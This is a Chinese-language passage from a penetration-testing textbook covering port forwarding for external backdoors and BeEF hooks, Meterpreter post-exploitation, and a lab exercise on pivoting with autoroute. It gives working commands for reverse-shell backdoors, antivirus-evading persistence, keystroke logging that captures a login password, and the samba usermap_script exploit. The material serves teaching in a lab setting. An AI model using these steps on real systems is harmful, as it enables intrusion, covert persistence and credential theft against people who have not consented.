查找名为 IP 转发的设置;我们实际上在一些路由器上看到过叫做 虚拟网络 的选项,但我们要寻找的是能够让我们设置规则来重定向网络内部端口的选项。我们监听的端口是端口 8080,这是我们在处理程序中选择的端口,也是我们在后门程序中选择的端口,也是我们想要获取连接的端口。因此,公共端口将是 8080,目标端口依然是 8080,而目标 IP 地址是监听该端口的 IP 地址,因此这是我们 Kali 机器的 IP 地址,其中运行着我们的处理程序。因此,Kali 机器的 IP 地址是 192.168.0.11,我们甚至可以通过 ifconfig 命令的结果来交叉检查。我们将把 ifconfig 命令返回的 IP 输入到路由器设置中的目标 IP 地址文本框中——这就是我们要添加的规则:

设置 IP 和端口

点击保存,规则将被保存,每当路由器接收到端口 8080 的请求时,它将知道要将该请求转发到 Kali 机器,并且路由器不会切断连接。

因此,我们现在已经设置了一个正确的路由。我们做的第一件事是创建了一个后门,我们在后门中使用了真实的 IP 地址,而不是私有 IP 地址,因此我们没有使用 192.168.0.11,而是使用了真实的 IP。我们将把这个后门发送到另一个网络中的设备,该设备将运行后门,后门将尝试通过真实 IP 连接回路由器,但路由器将准确知道如何处理它,因为我们刚刚设置了一个规则,告诉路由器将收到的任何端口 8080 的请求转发到 Kali 机器。我们实际上还想为端口 80 设置规则;这是 Apache 服务器运行的端口,我们希望启用它,以便从目标计算机下载后门。我们将为端口 80 添加一个规则,这将是同一台机器——Kali 机器。我们将输入端口 80 并保存这个规则:

配置 IP 表

这将允许我们下载后门,因为我们把后门放在了 /var/www/html 目录中,意味着我们实际上可以从 Kali 的 Web 服务器访问并从外网下载后门。

现在启动我们的 Apache Web 服务器,然后去一台 Windows 机器,这台 Windows 机器将连接到一个完全不同的网络,我们将从那里下载文件。如果我们检查一下我们的 IP 地址,会看到它有一个不同的外部公共 IP。因此,我们只需要在 Google 上查找我们的 IP 地址。这个 IP 是 109.125.19.76,它与我们使用的 Kali 机器的 IP 完全不同。这是两台完全独立的设备,连接到不同的网络,现在我们将访问我们的 Apache Web 服务器并下载后门,通常没有 IP 转发的话我们是无法做到这一点的。首先,为了访问后门,我们将获取 Kali 机器的 IP。我们把后门命名为 backdoor.exe,因此我们只需在 Windows 机器上打开一个浏览器,在 URL 地址栏中输入 192.168.0.11/backdoor.exe。按下 Enter 后,我们将能够下载后门,这实际上告诉我们 IP 转发已正确设置,因为没有它,我们将无法访问 Web 服务器并下载后门。因此,我们实际上是在访问 Kali 上的 Web 服务器,就像访问一个普通的网站一样,我们现在可以在 Apache 服务器上托管虚假网页、托管网站或我们想做的任何事。

现在我们将在一台 Windows 机器上运行后门,并查看它是否能在我们的 Kali 机器上建立反向连接,而 Kali 机器处于完全不同的网络中。正如我们在下面的截图中看到的,我们获得了一个反向的 Meterpreter shell,这个 shell 是从一个外部 IP 地址进入我们内网的 Kali 机器,现在我们可以控制目标计算机并执行我们在后连接攻击中做的所有操作:

外部 BeEF

现在让我们看一个示例,展示如何在用户处于我们网络之外时,将他们连接到 BeEF。所以,我们将以一台完全位于不同网络中的 Windows 机器为例,看看如何将这台机器连接到 BeEF。我们将通过单击 BeEF 框架图标来启动 BeEF 浏览器。接着,我们将使用用户名 beef 和密码 beef 登录。现在,我们将使用之前在第十三章《客户端攻击 - 社会工程学》中使用的相同基础 hook 方法,在该方法中,我们需要获取脚本代码,之前我们已经做过 - 过程相同,我们将脚本放置到 Apache Web 服务器中,放在 Apache 网站根目录 /var/www/html 下的一个 HTML 页面里。我们将打开 index.html 文件,然后打开文本编辑器,将从 BeEF 终端获得的代码粘贴到 index.html 中。唯一需要修改的是将所有以前使用的正常 IP 替换为外部 IP,以便当别人尝试连接时,他们实际上能够找到我们的计算机,因为如果我们使用内网 IP,他们将无法连接。我们将使用在 Google 上输入 whats my IP 时看到的 IP 地址,然后保存文件。

完成后,我们需要启用端口 3000,这是 BeEF 使用的端口。我们需要在路由器的 IP 转发设置中告知它,将任何对端口 3000 的请求转发到我们的 Kali 机器,Kali 机器的 IP 地址是 192.168.0.11。接着,去到 Windows 机器,访问我们的网站,实际上就是我们 Kali 机器的外部 IP 地址。这将自动运行 index.html 文件,我们只要浏览到这个 IP 就应该能连接到 BeEF。正如我们在下面的截图中看到的,我们已经成功地将 Windows 机器连接到 BeEF,它正在使用 Firefox 5.0,现在我们可以执行 BeEF 允许我们运行的所有命令:

现在,让我们弹出一个警告框,看看它是否有效。正如我们在下面的截图中看到的,它显示的是 BeEF 警告对话框:

我们只需执行它,确保一切正常。正如我们在下面的截图中看到的,我们已经成功连接到一台位于完全不同网络中的机器:

再次强调,我们需要做的就是使用外部 IP 地址。每当我们将请求发送到网络外部时,使用在 Google 上输入 what's our IP 时显示的 IP 地址。当我们在自己的机器上时,使用本地 IP,并确保我们配置路由器将监听的端口转发到 Kali 机器的 IP 地址,即 Kali 机器的私有 IP 地址。

作为使用 IP 转发的替代方法,我们可以将 Kali 机器设置为 DMZ 主机。不过,并不是所有的路由器都支持 DMZ,因此我们从一开始并没有展示这个方法;但如果路由器支持,我们就可以使用它。DMZ 的作用基本上就是 IP 转发,但它会转发所有端口。因此,如果我们将 Kali 机器的 IP 地址放在这里,路由器将会接收到任何端口的请求,并将该请求转发到 Kali 机器,而不管请求的是哪个端口。因此,通过端口转发,我们实际上是选择想要转发到 Kali 的端口;而使用 DMZ 时,它会将所有端口的请求转发到我们在这里放入的 IP 地址。时不时地,这两种方法都可以用来允许不同网络上的设备访问我们的计算机,我们可以接收连接,允许它们访问网站(如果我们在我们的 Web 服务器上托管网站),允许它们访问虚假网站,允许它们访问 BeEF、钩子,或者任何我们在监听的端口上使用的方法,如果这些人处在与我们自己的网络完全不同的网络上。

总结

在本章中,我们主要关注了如何攻击外部网络并实施这种攻击。我们研究了一些基础知识,例如端口转发,这意味着将请求从一个端口重定向到另一个端口。我们甚至研究了外部后门以及如何利用它们,发现它们与内部后门没有什么不同。接下来,我们继续探讨攻击网络的另一个方面,学习了 IP 转发,了解了如何确定数据包流经的路径。我们还通过实际例子来演示这个过程。下一章,我们将研究即使受害者的系统没有运行软件,仍然能够访问其系统的技术。

第十六章:后期利用

在前面的章节中,我们介绍了如何通过各种技术访问设备。现在我们将进入后期利用任务,重点讲解 Meterpreter 会话以及如何在获得访问权限后进一步利用目标系统。接下来,我们将了解一些基本的文件系统命令,这些命令可以帮助我们更好地利用目标系统。

迄今为止,在本书中,我们的访问仅限于目标系统,直到受害者的系统上运行了我们的后门文件或软件。现在,我们将学习如何通过简单和高级方法维持对系统的访问。我们甚至将探讨在执行键盘记录攻击后可以做什么。接下来,我们将介绍一个重要概念——跳板利用,并用它来创建自动化跳板。

本章将覆盖以下内容:

  • 后期利用简介

  • Meterpreter 基础

  • 文件系统命令

  • 使用简单方法维持访问

  • 使用高级方法维持访问

  • 键盘记录

  • 跳板利用简介

  • 自动化跳板的引导

后期利用简介

现在我们已经学会了如何获取对目标的访问权限,让我们看看在获得访问权限后可以做什么。在本节中,我们将学习在获得计算机访问权限后可以做的许多事情。我们将了解无论如何获取访问权限(无论是使用服务器端漏洞、社交工程学、后门、某个应用程序的漏洞,还是其他方法),都可以在计算机上进行哪些操作。

在前几章中,我们通常会在获得反向 Meterpreter 会话后停止。 在本章中,我们将从 Meterpreter 会话开始。我们不会讨论如何获取访问权限,而是讨论获得访问权限后能做什么。我们将讨论一些非常酷的内容,例如如何保持对目标计算机的访问,即使用户卸载了易受攻击的程序或重启了计算机。我们将看看如何下载、上传和读取文件,打开摄像头,启动键盘记录程序来记录按键,等等。我们还将学习如何利用目标计算机作为跳板,进而攻击同一网络上的所有计算机(假设我们的目标实际上不是我们黑掉的计算机,而是与其位于同一网络的另一台计算机)。再次强调,本章将聚焦于在我们利用目标的漏洞并获得访问权限后可以做的所有事情。

Meterpreter 基础

在本节中,我们将学习如何与 Metasploit 的 Meterpreter 交互的基本知识。在 Linux 中,help命令始终是获取特定命令信息的最佳命令。因此,我们首先要做的就是运行help命令,获取我们可以运行的所有命令的完整列表,以及每个命令的描述,正如以下截图所示:

看一下其中的一些基本内容,首先我们要重点介绍的是 background 命令,如下所示:

background 命令基本上是将当前会话置于后台,而不终止它。这与最小化一个窗口非常相似。因此,在运行 background 命令后,我们可以返回到 Metasploit 并运行其他命令来进一步利用目标机器(或其他机器),同时保持与我们刚刚攻破的计算机的连接。要查看我们正在使用的所有计算机和会话列表,可以运行 sessions -l 命令,它会显示当前会话。正如我们在以下截图中看到的,我们仍然保持 Meterpreter 会话——我们并没有丢失它,它位于我们的设备与目标设备之间,目标设备的 IP 是 10.0.2.5

如果我们想返回到之前的会话并再次运行 Meterpreter,我们只需运行 sessions 命令并使用 -i(表示交互),然后输入会话 ID(在我们的例子中是 2),如下所示:

另一个命令是 sysinfo。每当我们入侵一个系统时都会运行此命令;它会显示目标计算机的信息。如以下截图所示,它显示了计算机的名称、操作系统和架构。在以下截图中,我们还可以看到它是 64 位计算机,因此,如果我们想在未来运行可执行文件,我们知道需要创建 64 位的可执行文件:

我们可以看到正在使用的语言是英语,计算机所在的工作组,以及登录的用户 ID。我们还可以看到运行在目标机器上的 Meterpreter 版本,实际上是 32 位版本。

另一个有用的信息收集命令是 ipconfig。此时,ipconfig 命令与我们在 Windows 机器上运行的 ipconfig 命令非常相似(在命令提示符中);它将显示连接到目标计算机的所有接口,如下图所示:

例如,我们可以看到 Interface 1,MAC 地址,IP 地址,甚至是 IPv4 地址,连接到多个网络。我们还可以看到所有接口以及如何与它们进行交互。

另一个有用的信息收集命令是 ps 命令。ps 命令将列出在目标计算机上运行的所有进程;这些可能是后台进程,或者是前台运行的实际程序,例如 Windows 程序或 GUI。在以下截图中,我们可以看到所有正在运行的进程列表,以及每个进程的名称和 IDPID

一个有趣的进程是explorer.exe—这实际上是 Windows 的图形界面,我们可以看到在前面的截图中它正在PID 4744上运行,如下所示:

一旦我们成功入侵系统,将计算机正在运行的进程迁移到更安全的进程是一个非常好的主意。例如,explorer.exe进程是 Windows 的图形界面,因此只要用户在使用设备,它就会一直运行。这意味着它比我们获取计算机访问权限的进程要安全得多。例如,如果我们通过一个可执行文件或程序获取访问权限,只要用户关闭该程序,我们就会失去进程。更好的方法是迁移到一个不太可能被关闭或终止的进程。为此,我们将使用一个名为migrate的命令,它将把我们当前的会话移动到另一个进程中。我们将使用explorer.exe进程,因为它非常安全。

使用migrate 4744命令,其中4744explorer.exe进程的PID。以下是migrate命令的输出:

此刻,Meterpreter 正在从explorer.exe进程中运行。如果我们在目标计算机的任务管理器中运行资源监视器,然后转到网络选项卡并进入 TCP 连接,我们将看到端口8080上的连接来自explorer.exe进程,如下所示:

TCP 连接

因此,对于目标来说,连接并非来自恶意文件、我们的 payload 或后门,而是通过explorer.exe运行,这并不可疑。现在,如果我们看到 Firefox 或 Chrome,我们可以迁移到这些进程。而且,如果我们通过端口808080连接,它看起来会更不可疑,因为端口808080是 Web 服务器使用的端口,因此通过它们进行连接是非常自然的。

文件系统命令

现在,我们将看一些更多的命令,这些命令将允许我们在目标计算机上导航、列出、读取、下载、上传甚至执行文件。我们有一个正在运行的 Meterpreter 会话,我们将首先使用pwd命令获取当前工作目录。它将把我们带到C:\Users位置。如果我们想列出所有文件和目录,我们可以使用ls命令;以下截图显示了文件列表:

假设我们想要导航到IEUser文件夹。我们将使用cd IEUser命令,如果我们使用pwd,我们将在C:\Users\IEUser目录中。然后,我们将进入Downloads目录并列出文件。在以下文件列表中,我们可以看到一个看起来很有趣的文件passwords.txt

如果我们想读取这个文件,我们只需使用cat paswords.txt命令。然后我们可以看到文件的内容,如下图所示:

如果我们检查这个文件,我们会发现通过cat命令得到的输出与文件的内容一致。

假设我们想要保留这个文件以供以后使用。我们可以通过使用download命令和文件名paswords.txt来下载它。命令的输出如下所示:

一旦我们启动命令,文件就会被下载;如果我们进入root目录,我们将看到一个名为paswords.txt的文件,里面包含了所有数据:

现在,假设我们有一个后门、病毒、木马或键盘记录器,想要将其上传到目标计算机。我们可以非常轻松地上传它。返回到我们的root目录,我们可以看到很多文件,其中包括一个名为backdoored-calc.exe的文件。我们将通过运行upload命令和文件名来尝试上传该文件。文件将被上传,如下图所示:

现在我们将列出一个清单,以确保文件存在;在下面的截图中,我们可以看到一个名为backdoored-calc.exe的新文件:

要在目标计算机上执行上传的文件(如果它是病毒或键盘记录器),我们只需运行execute命令,并在-f选项后指定要执行的文件。例如,我们的文件是backdoored-calc.exe。一旦执行它,我们将看到进程3324已被创建,因此我们的后门已经执行:

现在,如果backdoored-calc.exe是一个病毒,它将按照预期执行其功能。

另一个功能是shell命令,它将当前的 Metasploit 或 Meterpreter 会话转换为操作系统的命令行。如果我们输入shell命令,我们将得到一个 Windows 命令行界面,在这里我们可以执行 Windows 命令。正如我们在下图中看到的,它在一个不同的通道上,我们可以通过它运行任何 Windows 命令。因此,我们可以运行dir命令列出所有目录;我们可以使用ipconfig;还可以像在命令提示符下那样使用任何其他 Windows 命令:

还有许多其他命令可以用来管理文件系统。如果我们输入help命令并进入文件系统部分,我们将看到可以编辑、下载、将文件移动到另一个文件、重命名文件、删除文件、移除目录、搜索等等。我们可以做的事情还有很多,我们这里只是概述了可以用来管理目标计算机上文件系统的主要命令,如下图所示:

使用简单的方法保持访问

在我们目前看到的所有例子中,一旦目标用户重启计算机,我们会失去与目标计算机的连接,因为我们使用的是普通后门,一旦计算机重启,那个后门会被终止,进程会被终止,我们会失去连接。在这一部分,我们将讨论那些能够让我们保持访问目标计算机的方法,这样我们可以随时回来并重新获得对计算机的完全控制。有许多方法可以做到这一点。第一个方法是使用 Veil-Evasion;我们可以使用 HTTP 服务或 TCP 服务,而不是我们创建的 HTTP 后门。

让我们看一个例子。如果我们使用 Veil-Evasion 并运行list命令,我们会看到在数字68的位置,我们有服务后门,如下图所示:

如果我们运行use 6,我们只需要设置LHOST,然后generate后门;我们可以将其与其他方法结合并发送给目标对象,或者我们可以使用之前学过的upload命令上传它,然后执行它,这样就会将后门作为服务安装在目标计算机上:

我们需要做的就是使用 multi-handler,每次目标计算机启动时,它都会尝试回连,因为它是一个反向 Shell。我们不会详细研究这种方法,因为它非常简单。我们以前做过类似的事情:我们使用 Veil-Evasion 创建了一个后门并上传到目标计算机。所以,我们只需要创建一个后门,上传它,执行它,然后就完成了。这并不总是有效——这也是我们不打算详细研究它的原因。普通的后门更可靠;这就是为什么我们在将后门与其他方法结合使用时,比如更改图标,时会使用普通后门。

另一种方法是使用 Meterpreter 附带的一个模块,叫做persistence;让我们看看如何使用它。我们只需要使用run命令并附加persistence,然后使用-h查看帮助菜单,显示所有可以设置的选项。在以下截图中,我们可以看到-A会立即启动一个 multi-handler;我们实际上不需要更改后门安装的位置:

-P选项将指定负载;再次强调,windows/meterpreter/reverse_tcp是一个非常好的负载,因此我们不需要修改它。-S选项用于启用系统权限;如前所述,我们没有系统权限,因此应该使用-U选项。然后,我们可以使用-i选项来设置后门尝试连接回我们的时间间隔;它将每隔 10、15 或 20 秒尝试连接——具体时间由我们指定。-p选项用于指定端口,而-r选项用于指定我们计算机的 IP。

要运行persistence,我们只需使用run persistence-U(以用户权限启动),-i设置为20秒,然后使用-p,我们可能会选择80端口,因为如前所述,端口80看起来不容易引起怀疑。接着,我们可以使用-r来指定我们的 IP,假设是10.0.2.15。命令大致如下:

run persistence -U -i 20 -p 80 -r 10.0.2.15

显然,一旦我们运行这个,如果我们想要接收连接,我们必须在端口80(或者使用负载选择的端口)上启动 multi-handler。这个方法的问题是它会被杀毒软件检测到;因此,我们不会详细解释它。我们将解释这两种方法的结合体,这种方法不会被杀毒软件检测到,而且比使用 Veil-Evasion 更加稳健。

使用高级方法保持访问

在本节中,我们将使用之前创建的普通 HTTP 反向 Meterpreter 不可检测后门。我们将其作为服务注入,这样每次目标用户启动计算机时,它都会尝试以某些间隔连接回我们。为此,首先,我们将当前会话background。我们之前做过这个操作;可以使用background并继续与编号为2的会话交互。

我们将use一个模块,它类似于 Metasploit 附带的 multi-handler 模块,名为exploit/windows/local/persistence。我们将查看它的选项,看看需要配置什么。在以下截图中,我们可以看到与 Metasploit 服务中看到的类似选项:

首先是目标将尝试连接回我们的秒数——即DELAY。我们将其保持为10秒——因此,每10秒,目标计算机将尝试连接回我们。现在,EXE_NAME是连接响应的进程名,我们将其设置为浏览器,以减少被检测的可能性;因此,我们将EXE_NAME设置为browser.exe。命令如下:

set EXE_NAME browser.exe

载荷或后门将被安装的PATH将保持不变,REG_NAME(注册表项)也将保持不变。现在,这非常重要:我们需要指定在哪个会话上运行 exploit。在这个例子中,我们使用会话编号2;那是我们的 Meterpreter 会话。如果我们使用sessions -l,它将列出所有可用的会话,我们将看到其Id编号为1

我们需要将我们的SESSION设置为编号2。因此,我们将使用set SESSION 2,并且STARTUP将保持为USER,用于用户权限。现在,如果我们运行show options,我们可以看到browser.exe和会话编号2已设置,如下所示:

最重要的事情是指定将作为服务注入的载荷。为此,我们将运行show advancedshow advanced命令将显示我们可以为此特定模块设置的高级选项。我们感兴趣的是称为EXE::Custom的选项,表明我们将使用自定义的.exe运行并注入到目标计算机作为服务:

我们将EXE::Custom设置为/var/www/html/backdoor.exe,这样我们就可以运行我们存储在/var/www/html/backdoor.exe中的后门。命令如下:

set EXE::Custom /var/www/html/backdoor.exe

现在,我们将运行show advanced来确保它已正确设置,因为有时我们会拼错单词:

我们将对此进行exploit,这将上传/var/www/html/backdoor.exe到目标计算机,使用我们指定的会话(会话编号为2)。一旦我们执行exploit,我们将看到它已被上传并安装,如下所示:

需要牢记的一件重要事情是资源文件,因为我们可以使用它来在使用完后清理和删除后门。如果我们不再希望在目标计算机上有后门,我们可以使用资源文件来删除它。我们可以将exploit命令输出中的 RC 文件路径存储在 Leafpad 中,这样我们可以在将来运行它并删除我们的后门。

如果我们运行sessions -l,它会显示会话存在,并且我们可以与其交互。我们可以使用session -K命令终止该会话。

现在,如果我们使用list,我们将与目标计算机没有连接。使用我们的 exploit multi-handler,我们可以监听传入的连接。

如果我们运行exploit,并且被黑客入侵的计算机已经启动,我们将立即获得连接,因为我们的后门已经通过reverse_http端口8080注入到目标计算机中。然而,我们将重新启动目标计算机,只是为了确保我们始终能够连接到它。

在 Windows 机器上执行正常重启。我们的 Kali 计算机将每 10 秒尝试重新连接,无论 Windows 机器重启或关机多少次。现在我们将运行我们的 Meterpreter 处理程序并等待连接。只需运行exploit进行监听,最多需要 10 秒钟即可重新连接。正如我们在以下截图中所看到的,我们收到了与目标计算机的连接,并且现在完全可以访问该计算机:

键盘记录

在本节中,我们将看看如何记录目标计算机上发生的任何鼠标或键盘事件。我们将使用 Meterpreter 附带的插件来实现。我们有我们的 Meterpreter,所以我们只需运行keyscan_start,如下所示:

假设我们想要进入 Facebook 并登录一个账户。如果我们查看该网站的 URL,其中包含 HTTPS,并且没有任何问题。通常,我们需要密码来登录账户。如果我们回到我们的终端,通过输入keyscan_dump可以看到记录的一切。通过该命令,我们可以看到目标用户输入了www.facebook.com,按下Enter,并输入了他们的用户名,即zaid@isecur1ty.org,以及密码123456

这将记录计算机上发生的一切。我们可以停止运行keyscan_stop,它将停止嗅探器。

我们还可以做的另一件很酷的事情是通过输入screenshot来获取屏幕截图;它会将其保存在/root目录中:

前往/root,我们会看到截图存在。它显示了目标计算机屏幕上显示的内容:

捕获目标屏幕

这只是我们可以使用的两个有用功能之一。键盘记录非常有用,因为我们可以获取用户名和密码,并查看目标用户在计算机上正在做什么。显然,我们可以使用其他键盘记录程序,如便携式键盘记录器;我们只需通过使用之前学到的upload命令上传它们,然后execute它们。

枢纽简介

在本节(以及接下来的几节)中,我们将学习枢纽概念。我们将假设我们的目标是METASPLOITABLE设备。在下面的图表中,每个大圆圈代表一个网络,正如我们所看到的,黑客看不到Metasploitable设备:

Metasploitable 设备被隐藏,要么在网络后面,要么是其他原因。黑客无法 ping 通或访问 Metasploitable 设备的 IP 地址。我们假设在我们的示例中,Metasploitable 设备存在于不同的网络中。我们可以看到该网络有四个设备,分别是 Metasploitable 设备、一台 iPhone、另一个设备以及一台 Windows 设备(我们已入侵,并且该设备用红色标记);黑客设备存在于较小的网络中,且只有两个设备(黑客和我们入侵的 Windows 机器)。枢轴攻击的目标是通过我们入侵的设备(中间的常规设备)来攻击它能够访问的其他设备。因此,黑客无法看到我们的目标设备——Metasploitable 设备——但我们刚刚入侵的设备可以看到该设备,因为它们在同一网络上。

在接下来的几节中,我们将尝试入侵 Metasploitable 设备,即使它对黑客(Kali 设备)不可见。访问 Metasploitable 设备的唯一方法是通过 Windows 设备,它将作为枢轴使用。

为了设置我们的网络(我们的实验室),我们将进入 VirtualBox 设置,然后进入首选项 | 网络;我们可以看到我们一直在使用的网络,它是内部 NAT 网络:

NatNetwork 是我们的 Windows 和 Kali 设备连接的网络。我们将通过点击加号(+)创建另一个 NAT 网络,命名为 NatNetwork1:

现在,我们将点击右侧的第三个图标来编辑设置,并且可以设置网络的 IP。我们将其设置为 10.0.3.0/24。以下截图展示了所有设置:

所以,我们创建了另一个网络,Kali 机器没有连接到这个网络。现在,我们将修改 Windows 设备的设置,使其连接到这两个网络。正如我们在前面的截图中看到的,Windows 设备是常规设备,它将连接到 Kali 设备所在的 NAT 网络,以及 Metasploitable 设备所在的网络。在 Windows 机器设置中,进入网络 | 适配器 2 | 启用网络适配器,并将其连接到 NAT 网络。然后,选择 NatNetwork1,如下所示:

现在,Windows 设备使用了两个适配器;其中一个连接到 NatNetwork,另一个连接到 NatNetwork1。

在 Metasploitable 设备上,进入设置 | 网络,并将其从连接到 NatNetwork 改为连接到 NatNetwork1:

现在,Metasploitable 设备仅连接到 Windows 设备连接的网络,而 Kali 机器仅连接到 Windows 设备连接的网络;Windows 设备连接到两个网络。

现在,为了验证我们的设置是否正确,我们将启动我们的 Metasploitable 设备和 Windows 设备,并将使用一些ping命令来确保一切设置正确。主要是 Windows 机器应该能够 ping 通 Metasploitable 和 Kali 设备。在下面的截图中,我们可以看到我们已经获得了 Metasploitable 设备的 IP - 10.0.3.5

运行ping 10.0.3.5,我们会看到 Windows 机器可以看到 Metasploitable 机器,如下截图所示:

现在,让我们检查它是否能看到 Kali 机器,即10.0.2.15;同样,如果 Windows 可以看到两台机器,这意味着它是中间设备:

此外,我们将检查 Metasploitable 机器是否能看到 Kali 机器。它不应该能看到,因为 Kali 机器和 Metasploitable 机器连接到两个不同的网络。当我们在 Metasploitable 机器上运行ping 10.0.2.15时,我们会看到我们什么也没有收到—已发送18个数据包,接收0个:

因此,Metasploitable 设备无法看到 Kali 机器,Kali 机器也无法看到 Metasploitable 设备。在 Kali 上运行ping 10.0.3.5,我们会看到它发送了3个数据包,但没有接收到;这两台设备无法相互看到,因为它们位于两个不同的网络上,如下截图所示:

在接下来的部分中,我们将利用对 Windows 机器的访问来入侵 Metasploitable 设备,因为 Windows 机器是连接到两个网络的公共设备。

枢轴自动路由

现在我们理解了枢轴概念,执行起来就不难了。我们只需要上传我们想要使用的任何工具;例如,如果我们想要使用 Nmap 或 ARP 欺骗或 dSniff,我们可以上传这些工具并在连接到大型网络的 Windows 计算机上运行它们,然后运行端口扫描器,执行 ARP 欺骗,或进行中间人攻击,就像我们之前学到的那样。非常简单;我们只需使用upload命令并从命令行中使用该工具。

在本节中,我们将看到如何在被黑客入侵的计算机和我们的计算机之间建立路由,以便我们可以针对大型网络使用任何 Metasploit 辅助工具或模块。我们将能够使用 Metasploit 漏洞利用、端口扫描器和其他有用的模块。

为了做到这一点,我们将使用一个叫做autoroute的模块。让我们看一下如何在 Metasploitable 虚拟机上运行漏洞攻击;它应该不会成功,因为现在它对我们不可见。所以,我们将使用sessions list,并且会看到我们通过已被黑的 Windows 机器建立了连接:

接下来,我们将运行use exploit/multi/samba/usermap_script——我们之前已经在 Metasploitable 设备上使用过这个漏洞,但那时它和我们处在同一网络中,所以我们能够看到它。这一次,我们尝试攻击的是一个不可见的设备。然后,我们将运行show options,如下所示:

我们将RHOST设置为10.0.3.5,因为那是 Metasploitable 设备的 IP 地址。然后,当我们使用set PAYLOAD cmd/unix/bind_netcatshow options时,所有设置都会正确完成;所以我们将运行exploit,我们会看到漏洞会超时,因为(正如我们在引入跳板攻击一节中看到的)黑客设备看不到 Metasploitable 设备。所以,它尝试在 Metasploitable 设备上运行一个漏洞,尽管 Metasploitable 设备有漏洞,但由于我们无法看到它,我们无法利用它,正如我们将看到的,漏洞攻击失败了,我们收到了ConnectionTimeout,我们无法连接到目标计算机,如下图所示:

现在,我们将与ID 1上的 Meterpreter 交互,并运行sessions -i 1。接着,在我们的 Meterpreter 中,我们将运行ifconfig来查看目标计算机连接的网络:

我们可以看到所有连接到目标计算机的接口,并且我们将寻找有 IP 地址的接口。我们看到接口编号9有一个 IP 地址,并且这个 IP 地址在我们的网络上;所以它实际上没什么用。它已经在我们的网络上;我们在10.0.2.5/24子网中。另一个我们能看到的接口是Interface 21,它连接到10.0.3.4;这个接口在一个不同的子网上,而我们从 Kali Linux 设备上看不到这个子网。

现在,我们将尝试在不同子网与当前子网之间设置路由。我们将复制地址10.0.3.4,并将当前会话设置为background,然后返回到 Metasploit。接着,我们将运行use post/multi/manage/autoroute。现在,如果我们想查看所有已管理的模块,可以在use post/multi/manage/命令后,按两次Tab,我们将看到所有post/multi/manage模块,并可以尝试新的实验:

我们现在要使用的是autoroute。我们需要设置SESSIONSUBNET;首先通过运行set SESSION 1来设置SESSION,然后将SUBNET设置为我们在运行ifconfig命令时看到的值,它是10.0.3.4。再次提醒,我们使用的都是我们已经学过的非常简单的命令。

我们将把这个SESSION设置为编号1(这是我们为 Windows 机器劫持的SESSION),而SUBNET是 Windows 机器连接的SUBNET,所以它是10.0.3.0。然后我们运行exploit,这将创建我们设备和 Windows 设备之间的连接(或路由):

现在,我们将回到本节开始时尝试的相同漏洞,我们会看到这个漏洞现在可以生效,因为 Windows 设备现在对我们可见。我们可以使用 Metasploit 预装的端口扫描器或发现模块,或者任何其他随 Metasploit 一起提供的模块,而不是使用exploit/multi/samba/usermap_script漏洞。现在我们已经与 Windows 计算机建立了连接,并在该网络和我们的计算机之间设置了路由,所以我们现在可以看到 Metasploitable 设备。

现在,我们将使用之前使用的相同漏洞:exploit/multi/samba/usermap_script。我们将保持选项不变,因为一切都设置正确。我们只需要运行exploit,正如我们在下面的截图中看到的,命令行界面将正常启动,我们将能够访问 Metasploitable 设备:

我们可以运行iduname -a来确认之前的情况,并且我们可以看到我们已经进入了 Metasploitable 设备,可以运行任何我们想要的 Linux 命令;我们可以使用lspwd或任何其他 Linux 命令,如下所示:

基本上,我们已经完全访问了目标计算机。正如我们之前提到的,我们可以上传程序并从目标计算机运行它。然而,将东西上传到被攻击的计算机并不总是一个好主意——设置路由和使用跳板是更安全的选择。

强烈建议查看其他 Metasploitable 模块,因为 Metasploit 非常庞大。对我来说,涵盖所有内容是很困难的;我只是覆盖了主要的要点,但你可以随时进入并查看其他模块。实际使用模块通常和我们在这里做的相同;我们查看了广泛的模块,因此你应该能够根据自己的需要配置选项并运行模块。

总结

在这一章中,我们重点讲解了后渗透任务,即在成功侵入目标系统后可以执行的操作。我们介绍了基本的文件系统命令,并演示了如何访问受害者的机器,即使用户没有使用特定软件或已关闭系统电源。我们实现了简单和高级方法来保持对系统的访问。然后,我们讨论了如何在对目标设备进行键盘记录攻击后获取用户凭证。接下来,我们讲解了“跳板”概念,这意味着针对不直接位于我们网络上的系统进行攻击。我们甚至研究了跳板自动路由的示例。

在接下来的几章中,我们将介绍网站渗透测试的基本概念。

第十七章:网站渗透测试

本章重点介绍我们在开始进行网站应用渗透测试之前需要了解的基础知识。我们将从了解网站到底是什么开始,并概述当我们请求访问网站时,后台发生的处理过程。随后,我们将讨论攻击网站的方法,并介绍一些工具。

本章将涵盖以下主题:

  • 什么是网站?

  • 攻击网站

什么是网站?

在开始网站渗透测试之前,我们需要了解网站究竟是什么。网站只是安装在计算机上的一个应用程序。计算机可能比我们的计算机配置更高,但从根本上讲,它的工作方式和其他计算机一样,这意味着它有操作系统,并且有多个应用程序使它能够作为 Web 服务器运行。它的两个主要应用程序是 Web 服务器(例如 Apache)和数据库(例如 MySQL):

  • Web 服务器 基本上理解并执行 Web 应用程序。我们的 Web 应用程序可以用 PHP、Python 或任何其他编程语言编写。唯一的限制是 Web 服务器需要能够理解并执行 Web 应用程序。

  • 数据库 存储着 Web 应用程序使用的数据。所有这些数据都存储在一台叫做服务器的计算机上。服务器连接到互联网,并具有 IP 地址;任何人都可以访问或 ping 它。

Web 应用程序要么由 Web 服务器执行——它安装在我们的服务器上——要么在目标上执行;因此,每当我们请求一个页面或运行一个 Web 应用程序时,它实际上是在 Web 服务器上执行,而不是在客户端计算机上执行。一旦它在 Web 服务器上执行,Web 服务器就会将准备好的 HTML 页面发送给目标用户或客户端,如下图所示:

比如说,我们正在使用手机或计算机,想要访问 facebook.com。如果我们在 URL 中输入 facebook.com,它将通过 DNS 服务器转换为 IP 地址。DNS 是一个服务器,它将每个名称(例如 .com.edu 或任何带有名称或域名的网站)转换为相关的 IP 地址。如果我们请求 facebook.com,请求会发送到 DNS 服务器,DNS 服务器将 facebook.com 转换为 Facebook 存储所在的 IP 地址,然后 DNS 服务器会访问 Facebook 的 IP 地址,使用我们所说的所有应用程序执行所需的页面,然后只给我们一个准备好的 HTML 页面。

现在,我们得到的只是用 HTML 编写的标记——它是一种标记语言——是执行程序结果的标记;程序在服务器上执行,我们只是得到了结果。这非常重要,因为将来如果我们想在 Web 服务器上执行任何东西,例如 Shell,或者让病毒在目标计算机上执行,那么我们需要以 Web 服务器能够理解的语言发送它(例如 PHP),一旦我们在服务器内部执行它,它将在目标计算机上执行。

